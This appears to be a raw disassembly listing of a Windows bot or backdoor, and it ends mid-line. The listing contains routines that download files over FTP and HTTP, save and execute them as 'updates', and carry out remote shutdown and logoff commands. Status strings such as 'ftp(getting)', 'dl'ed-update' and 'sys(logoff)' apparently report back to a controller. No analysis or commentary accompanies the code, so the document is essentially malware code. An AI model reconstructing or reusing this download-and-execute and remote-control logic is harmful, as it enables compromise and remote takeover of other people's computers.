asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44758A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F60 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F60 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F60 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F60 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F60 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C84 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C84 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax call near ptr 2980000h nop lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69BAB8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013D9 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017E4 push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+44h+arg_120], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_443EE8 ; "\r\n\r\n" push ecx call near ptr 77C47A50h nop add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx call near ptr 77C40E76h nop add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+54h+arg_110], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx call near ptr 77C40AB1h nop add esp, 4 push edi call near ptr 71AB9639h nop lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60A5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F60 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea edx, [esp+58h+var_3C] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478C6 test al, al jz short loc_41DEB9 push offset dword_447864 mov ecx, offset dword_448DA0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44790F test al, al jz short loc_41DED1 push offset byte_44793F mov ecx, offset dword_448DA0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DA0 call sub_401E5B push 1 mov byte_4E6E74, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6ECB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FEC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 6 nop call near ptr 2A10000h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 5 call near ptr 2A10000h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 4 call near ptr 2A10000h nop loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 